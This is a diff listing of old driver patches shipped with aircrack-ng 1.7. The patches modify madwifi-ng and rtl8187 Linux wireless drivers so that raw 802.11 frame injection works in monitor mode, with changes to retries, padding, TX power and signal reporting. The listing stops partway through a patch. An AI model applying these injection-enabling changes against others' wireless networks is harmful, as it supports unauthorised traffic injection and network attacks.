++++ patched_madwifi-r1754/ath/if_ath.c	2006-10-17 21:36:20.703125000 +0200
+@@ -2278,6 +2278,7 @@
+ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) 
+ {
+ 	struct ath_softc *sc = dev->priv;
++	struct ieee80211com *ic = &sc->sc_ic;
+ 	struct ath_hal *ah = sc->sc_ah;
+ 	struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb));
+ 	const HAL_RATE_TABLE *rt;
+@@ -2294,7 +2295,11 @@
+ 	struct ieee80211_frame *wh; 
+ 	
+ 	wh = (struct ieee80211_frame *) skb->data;
+-	try0 = ph->try0;
++	try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0;
++	/*
++	 * The retry value has to be patched to 1 when injecting,
++	 * otherwise the sequence number will be overwritten
++	 */
+ 	rt = sc->sc_currates;
+ 	txrate = dot11_to_ratecode(sc, rt, ph->rate0);
+ 	power = ph->power > 60 ? 60 : ph->power;

aircrack-ng-1.7.tar.gz/patches/old/madwifi-ng-r1756.patch Added

@@ -0,0 +1,24 @@
+diff -ur madwifi-r1756/ath/if_ath.c patched_madwifi-r1756/ath/if_ath.c
+--- madwifi-r1756/ath/if_ath.c	2006-10-18 22:18:06.812500000 +0200
++++ patched_madwifi-r1756/ath/if_ath.c	2006-10-18 22:20:47.000000000 +0200
+@@ -2293,6 +2293,7 @@
+ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) 
+ {
+ 	struct ath_softc *sc = dev->priv;
++	struct ieee80211com *ic = &sc->sc_ic;
+ 	struct ath_hal *ah = sc->sc_ah;
+ 	struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb));
+ 	const HAL_RATE_TABLE *rt;
+@@ -2309,7 +2310,11 @@
+ 	struct ieee80211_frame *wh; 
+ 	
+ 	wh = (struct ieee80211_frame *) skb->data;
+-	try0 = ph->try0;
++	try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0;
++	/*
++	 * The retry value has to be patched to 1 when injecting,
++	 * otherwise the sequence number will be overwritten
++	 */
+ 	rt = sc->sc_currates;
+ 	txrate = dot11_to_ratecode(sc, rt, ph->rate0);
+ 	power = ph->power > 60 ? 60 : ph->power;

aircrack-ng-1.7.tar.gz/patches/old/madwifi-ng-r1816.patch Added

@@ -0,0 +1,25 @@
+--- madwifi-ng-r1816-20061118/ath/if_ath.c	2006-11-09 08:28:11.000000000 +0100
++++ madwifi-ng-r1816-20061118/ath/if_ath.c.patched	2006-11-20 23:02:36.000000000 +0100
+@@ -2287,6 +2287,7 @@
+ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) 
+ {
+ 	struct ath_softc *sc = dev->priv;
++	struct ieee80211com *ic = &sc->sc_ic;
+ 	struct ath_hal *ah = sc->sc_ah;
+ 	struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb));
+ 	const HAL_RATE_TABLE *rt;
+@@ -2303,8 +2304,12 @@
+ 	struct ieee80211_frame *wh; 
+ 	
+ 	wh = (struct ieee80211_frame *) skb->data;
+-	try0 = ph->try0;
+-	rt = sc->sc_currates;
++	try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0;
++               /*
++                * The retry value has to be patched to 1 when injecting,
++                * otherwise the sequence number will be overwritten
++                */
++       	rt = sc->sc_currates;
+ 	txrate = dot11_to_ratecode(sc, rt, ph->rate0);
+ 	power = ph->power > 60 ? 60 : ph->power;
+ 	hdrlen = ieee80211_anyhdrsize(wh);

aircrack-ng-1.7.tar.gz/patches/old/madwifi-ng-r2662-dirty_wesside-ng_fix.patch Added

@@ -0,0 +1,84 @@
+Index: ath/if_ath.c
+===================================================================
+--- ath/if_ath.c	(revision 2662)
++++ ath/if_ath.c	(working copy)
+@@ -2282,6 +2282,7 @@
+ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb)
+ {
+ 	struct ath_softc *sc = dev->priv;
++	struct ieee80211com *ic = &sc->sc_ic;
+ 	struct ath_hal *ah = sc->sc_ah;
+ 	struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb));
+ 	const HAL_RATE_TABLE *rt;
+@@ -2294,7 +2295,11 @@
+ 	struct ieee80211_frame *wh;
+ 
+ 	wh = (struct ieee80211_frame *) skb->data;
+-	try0 = ph->try0;
++	try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0;
++	/*
++	 * The retry value has to be patched to 1 when injecting,
++	 * otherwise the sequence number will be overwritten
++	 */
+ 	rt = sc->sc_currates;
+ 	txrate = dot11_to_ratecode(sc, rt, ph->rate0);
+ 	power = ph->power > 60 ? 60 : ph->power;
+@@ -5360,18 +5365,21 @@
+ {
+ 	struct ath_softc *sc = dev->priv;
+ 	struct ieee80211com *ic = &sc->sc_ic;
+-	struct ieee80211_frame *wh = (struct ieee80211_frame *) skb->data;
+-	unsigned int headersize = ieee80211_anyhdrsize(wh);
+-	int padbytes = roundup(headersize, 4) - headersize;
++	struct ieee80211_frame *wh;
+ 
+ 	KASSERT(ic->ic_flags & IEEE80211_F_DATAPAD,
+ 		("data padding not enabled?"));
+ 
+-	if (padbytes > 0) {
++	wh = (struct ieee80211_frame *) skb->data;
++	if (IEEE80211_QOS_HAS_SEQ(wh)) {
++		struct sk_buff *skb1 = skb_copy(skb, GFP_ATOMIC);
+ 		/* Remove hw pad bytes */
+-		struct sk_buff *skb1 = skb_copy(skb, GFP_ATOMIC);
+-		memmove(skb1->data + padbytes, skb1->data, headersize);
+-		skb_pull(skb1, padbytes);
++		unsigned int headersize = ieee80211_hdrsize(wh);
++		int padbytes = roundup(headersize, 4) - headersize;
++		if (padbytes > 0) {
++			memmove(skb1->data + padbytes, skb1->data, headersize);
++			skb_pull(skb1, padbytes);
++		}
+ 		ieee80211_input_monitor(ic, skb1, bf, 0, rtsf, sc);
+ 		dev_kfree_skb(skb1);
+ 	} else {
+@@ -5392,8 +5400,6 @@
+ 				   A_MAX(sizeof(struct wlan_ng_prism2_header),
+ 					 ATHDESC_HEADER_SIZE));
+ 	u_int32_t tstamp;
+-	unsigned int headersize;
+-	int padbytes;
+ 	/*                                                                      
+ 	 * release the owner of this skb since we're basically                  
+ 	 * recycling it                                                         
+@@ -5411,13 +5417,15 @@
+ 		skb_orphan(skb);
+ 
+ 	wh = (struct ieee80211_frame *) skb->data;
+-	headersize = ieee80211_anyhdrsize(wh);
+-	padbytes = roundup(headersize, 4) - headersize;
+-	if (padbytes > 0) {
++	if (IEEE80211_QOS_HAS_SEQ(wh)) {
+ 		/* Unlike in rx_capture, we're freeing the skb at the end
+ 		 * anyway, so we don't need to worry about using a copy */
+-		memmove(skb->data + padbytes, skb->data, headersize);
+-		skb_pull(skb, padbytes);
++		unsigned int headersize = ieee80211_hdrsize(wh);
++		int padbytes = roundup(headersize, 4) - headersize;
++		if (padbytes > 0) {
++			memmove(skb->data + padbytes, skb->data, headersize);
++			skb_pull(skb, padbytes);
++		}
+ 	}
+ 
+ 	if (skb_headroom(skb) < extra &&

aircrack-ng-1.7.tar.gz/patches/old/rtl8187-mac80211-injection-speed-2.6.28-wl.patch Added

@@ -0,0 +1,28 @@
+diff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+index 54c0689..c0ade02 100644
+--- a/drivers/net/wireless/rtl818x/rtl8187_dev.c
++++ b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+@@ -238,7 +238,10 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->len = 0;
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++			hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		else
++			hdr->retry = 0;
+ 		buf = hdr;
+ 
+ 		ep = 2;
+@@ -256,7 +259,10 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		memset(hdr, 0, sizeof(*hdr));
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++			hdr->retry = cpu_to_le32((info->control.rates0.count - 1) << 8);
++		else
++			hdr->retry = 0;
+ 		hdr->tx_duration =
+ 			ieee80211_generic_frame_duration(dev, priv->vif,
+ 							 skb->len, txrate);

aircrack-ng-1.7.tar.gz/patches/old/rtl8187_1010.0622v2-old.patch Added

@@ -0,0 +1,740 @@
+diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h
+--- rtl8187_orig/beta-8187/ieee80211.h	2006-06-06 04:58:02.000000000 +0200
++++ rtl8187_txpower/beta-8187/ieee80211.h	2007-01-24 20:49:55.897494222 +0100
+@@ -156,6 +156,23 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++#define IW_MODE_MONITOR_PRISM	15
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h
+--- rtl8187_orig/beta-8187/r8180_hw.h	2006-06-06 04:58:00.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8180_hw.h	2007-01-24 20:49:55.942487382 +0100
+@@ -646,6 +646,7 @@
+ #define FFER_INTR    ((1<<15))
+ #define FFER_GWAKE   ((1<< 4))
+ 
+-
++#define MAX_TX_POWER	27
++#define MIN_TX_POWER	20
+ 
+ #endif
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h
+--- rtl8187_orig/beta-8187/r8180_rtl8225.h	2006-06-06 04:58:00.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8180_rtl8225.h	2007-01-24 20:49:55.980481606 +0100
+@@ -44,3 +44,5 @@
+ extern u32 rtl8225_chan;
+ 
+ #endif
++
++void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch);
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c
+--- rtl8187_orig/beta-8187/r8180_rtl8225z2.c	2006-06-06 04:58:02.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c	2007-01-24 20:49:52.313039142 +0100
+@@ -418,7 +418,10 @@
+ 	
+ 	/* CCK power setting */
+ 	if(cck_power_level > max_cck_power_level)
++	{
+ 		cck_power_level = max_cck_power_level;
++		priv->chtxpwrch = max_cck_power_level;
++	}
+ 	
+ 	cck_power_level += priv->cck_txpwr_base;
+ 	
+diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c
+--- rtl8187_orig/beta-8187/r8180_wx.c	2006-06-06 04:58:02.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8180_wx.c	2007-01-24 20:49:52.347033974 +0100
+@@ -21,6 +21,7 @@
+ 
+ #include "r8187.h"
+ #include "r8180_hw.h"
++#include "r8180_rtl8225.h"
+ 
+ 
+ #define RATE_COUNT 4
+@@ -108,6 +109,61 @@
+ 	return ret;
+ }
+ 
++static int r8180_wx_get_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
++{
++	struct r8180_priv *priv = ieee80211_priv(dev);
++	down(&priv->wx_sem);
++	wrqu->power.value = priv->chtxpwr_ofdm1 + MIN_TX_POWER;
++	wrqu->power.fixed = 1;
++	wrqu->power.flags = IW_TXPOW_DBM;
++	wrqu->power.disabled = 0;
++	up(&priv->wx_sem);
++
++	return 0;
++}
++
++static int r8180_wx_set_txpow(struct net_device *dev, 
++			      struct iw_request_info *info, 
++			      union iwreq_data *wrqu, char *extra)
++{
++	int ret = 0, i = 0;
++	struct r8180_priv *priv = ieee80211_priv(dev);	
++	
++	down(&priv->wx_sem);
++
++	if (wrqu->power.flags != IW_TXPOW_DBM)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value > MAX_TX_POWER)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value < MIN_TX_POWER)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	for(i=1;i<=14;i++)
++	{
++		priv->chtxpwri = wrqu->power.value + 1 - MIN_TX_POWER;
++		priv->chtxpwr_ofdmi = wrqu->power.value - MIN_TX_POWER;
++	}
++	rtl8225z2_SetTXPowerLevel(dev, 1);
++
++	out:
++	up(&priv->wx_sem);
++	
++	return ret;
++}
++
+ static int r8180_wx_set_rawtx(struct net_device *dev, 
+ 			       struct iw_request_info *info, 
+ 			       union iwreq_data *wrqu, char *extra)
+@@ -623,8 +679,8 @@
+         dummy,                    /* SIOCGIWRTS */
+         r8180_wx_set_frag,        /* SIOCSIWFRAG */
+         r8180_wx_get_frag,        /* SIOCGIWFRAG */
+-        dummy,                    /* SIOCSIWTXPOW */
+-        dummy,                    /* SIOCGIWTXPOW */
++        r8180_wx_set_txpow,       /* SIOCSIWTXPOW */
++        r8180_wx_get_txpow,       /* SIOCGIWTXPOW */
+         r8180_wx_set_retry,       /* SIOCSIWRETRY */
+         r8180_wx_get_retry,       /* SIOCGIWRETRY */
+         r8180_wx_set_enc,         /* SIOCSIWENCODE */
+diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c
+--- rtl8187_orig/beta-8187/r8187_core.c	2006-06-22 07:43:30.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8187_core.c	2007-01-24 20:49:52.381028806 +0100
+@@ -158,7 +158,6 @@
+ #endif
+ };
+ 
+-
+ void write_nic_byte_E(struct net_device *dev, int indx, u8 data)
+ {
+ 	
+@@ -407,13 +406,14 @@
+ 	return len;
+ }		
+ 
+-
++#if WIRELESS_EXT < 17
+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+        struct r8180_priv *priv = ieee80211_priv(dev);
+ 
+        return &priv->wstats;
+ }
++#endif
+ 
+ void rtl8180_proc_module_init(void)
+ {	
+@@ -1112,7 +1112,10 @@
+ 	struct ieee80211_hdr *h = (struct ieee80211_hdr  *) skb->data;
+ 
+ 	if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
+-		morefrag = 1;
++	{
++		if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1)
++			morefrag = 1;
++	}
+ //	DMESG("%x %x", h->frame_ctl, h->seq_ctl);
+ 	/*
+ 	* This function doesn't require lock because we make
+@@ -2291,13 +2294,17 @@
+ /* based on ipw2200 driver */
+ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = NULL;
++	struct iwreq *wrq = NULL;
++
++	int ret=-1;
++	
++	priv = (struct r8180_priv *)ieee80211_priv(dev);
+ 	
+ 	down(&priv->wx_sem);
+ 	
+-	struct iwreq *wrq = (struct iwreq *)rq;
+-        
+-	int ret=-1;
++	wrq = (struct iwreq *)rq;
++	
+ 	switch (cmd) {
+ 	    case RTL_IOCTL_WPA_SUPPLICANT:
+ 		ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data);
+@@ -2346,7 +2353,8 @@
+ 		
+ 		if( flen <= rx_urb->actual_length){
+ 		
+-			stats.signal = (desc1 & 0x7f00)>>8;
++//			stats.signal = (desc1 & 0x7f00)>>8;
++			stats.signal = (desc1 & 0xff00)>>8;
+ 			stats.noise = desc1 &0xff;
+ 			stats.rate = desc0 >> 20 & 0xf;
+ 			stats.mac_time0 = desc2;
+@@ -2368,6 +2376,8 @@
+ 		//	priv->rxskb = skb;
+ 		//	priv->tempstats = &stats;
+ 
++
++			stats.signal -= stats.noise;
+ 			if(!ieee80211_rx(priv->ieee80211, 
+ 				skb, &stats))
+ 			dev_kfree_skb_any(skb);
+@@ -2418,7 +2428,12 @@
+ 	dev->do_ioctl = rtl8180_ioctl;
+ 	dev->set_multicast_list = r8180_set_multicast;
+ 	dev->set_mac_address = r8180_set_mac_adr;
++#if WIRELESS_EXT >= 12
++#if WIRELESS_EXT < 17
+ 	dev->get_wireless_stats = r8180_get_wireless_stats;
++#endif
++	dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def;
++#endif
+ 	dev->type=ARPHRD_ETHER;
+ 	
+ 	if (dev_alloc_name(dev, ifname) < 0){
+diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h
+--- rtl8187_orig/beta-8187/r8187.h	2006-06-06 08:48:10.000000000 +0200
++++ rtl8187_txpower/beta-8187/r8187.h	2007-01-24 20:49:56.017475982 +0100
+@@ -26,7 +26,6 @@
+ 
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+-#include <linux/config.h>
+ #include <linux/init.h>
+ #include <linux/ioport.h>
+ #include <linux/sched.h>
+@@ -47,6 +46,10 @@
+ #include <asm/io.h>
+ #include <asm/semaphore.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ #define EPROM_93c46 0
+@@ -148,7 +151,7 @@
+ 	u8 challow15; //channels from 1 to 14, 0 not used
+ 	short up;
+ 	short crcmon; //if 1 allow bad crc frame reception in monitor mode
+-//	short prism_hdr;
++	short prism_hdr;
+ 	
+ //	struct timer_list scan_timer;
+ 	/*short scanpending;
+diff -Naur rtl8187_orig/beta-8187/r8187.mod.c rtl8187_txpower/beta-8187/r8187.mod.c
+--- rtl8187_orig/beta-8187/r8187.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/beta-8187/r8187.mod.c	2007-01-24 20:49:52.415023638 +0100
+@@ -0,0 +1,25 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++ .init = init_module,
++#ifdef CONFIG_MODULE_UNLOAD
++ .exit = cleanup_module,
++#endif
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=";
++
++MODULE_ALIAS("usb:v0BDAp8187d*dc*dsc*dp*ic*isc*ip*");
++MODULE_ALIAS("usb:v0846p6100d*dc*dsc*dp*ic*isc*ip*");
++MODULE_ALIAS("usb:v0846p6A00d*dc*dsc*dp*ic*isc*ip*");
++
++MODULE_INFO(srcversion, "873BF2D6E209C814550BA28");
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt.c	2006-06-06 04:57:56.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_crypt.c	2007-01-24 20:50:08.016651830 +0100
+@@ -11,7 +11,6 @@
+  *
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -19,6 +18,10 @@
+ #include <asm/string.h>
+ #include <asm/errno.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c	2006-06-06 04:58:00.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c	2007-01-24 20:50:08.017651678 +0100
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -22,6 +21,10 @@
+ #include <asm/string.h>
+ #include <linux/wireless.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp-rtl.mod.c	2007-01-24 20:50:08.054646054 +0100
+@@ -0,0 +1,20 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++ .init = init_module,
++#ifdef CONFIG_MODULE_UNLOAD
++ .exit = cleanup_module,
++#endif
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=ieee80211_crypt";
++
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt-rtl.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/ieee80211/ieee80211_crypt-rtl.mod.c	2007-01-24 20:50:08.057645598 +0100
+@@ -0,0 +1,20 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++ .init = init_module,
++#ifdef CONFIG_MODULE_UNLOAD
++ .exit = cleanup_module,
++#endif
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=";
++
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c	2006-06-06 04:57:54.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c	2007-01-24 20:50:08.104638454 +0100
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -21,6 +20,10 @@
+ #include <linux/if_arp.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_tkip-rtl.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip-rtl.mod.c	2007-01-24 20:50:08.135633742 +0100
+@@ -0,0 +1,20 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++ .init = init_module,
++#ifdef CONFIG_MODULE_UNLOAD
++ .exit = cleanup_module,
++#endif
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=ieee80211_crypt";
++
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c	2006-06-06 04:57:54.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c	2007-01-24 20:50:08.138633286 +0100
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -18,6 +17,10 @@
+ #include <linux/skbuff.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_wep-rtl.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep-rtl.mod.c	2007-01-24 20:50:08.192625078 +0100
+@@ -0,0 +1,20 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++ .init = init_module,
++#ifdef CONFIG_MODULE_UNLOAD
++ .exit = cleanup_module,
++#endif
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=ieee80211_crypt";
++
+diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h
+--- rtl8187_orig/ieee80211/ieee80211.h	2006-06-06 04:57:56.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211.h	2007-01-24 20:50:15.464519582 +0100
+@@ -156,6 +156,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c
+--- rtl8187_orig/ieee80211/ieee80211_module.c	2006-06-06 04:58:00.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_module.c	2007-01-24 20:50:08.195624622 +0100
+@@ -31,7 +31,6 @@
+ *******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,10 @@
+ #include <asm/uaccess.h>
+ #include <net/arp.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_DESCRIPTION("802.11 data/management/control stack");
+diff -Naur rtl8187_orig/ieee80211/ieee80211-rtl.mod.c rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c
+--- rtl8187_orig/ieee80211/ieee80211-rtl.mod.c	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c	2007-01-24 20:50:08.237618238 +0100
+@@ -0,0 +1,16 @@
++#include <linux/module.h>
++#include <linux/vermagic.h>
++#include <linux/compiler.h>
++
++MODULE_INFO(vermagic, VERMAGIC_STRING);
++
++struct module __this_module
++__attribute__((section(".gnu.linkonce.this_module"))) = {
++ .name = KBUILD_MODNAME,
++};
++
++static const char __module_depends
++__attribute_used__
++__attribute__((section(".modinfo"))) =
++"depends=ieee80211_crypt";
++
+diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c
+--- rtl8187_orig/ieee80211/ieee80211_rx.c	2006-06-06 04:58:00.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_rx.c	2007-01-24 20:50:08.240617782 +0100
+@@ -22,7 +22,6 @@
+  
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -43,18 +42,83 @@
+ #include <asm/uaccess.h>
+ #include <linux/ctype.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
++
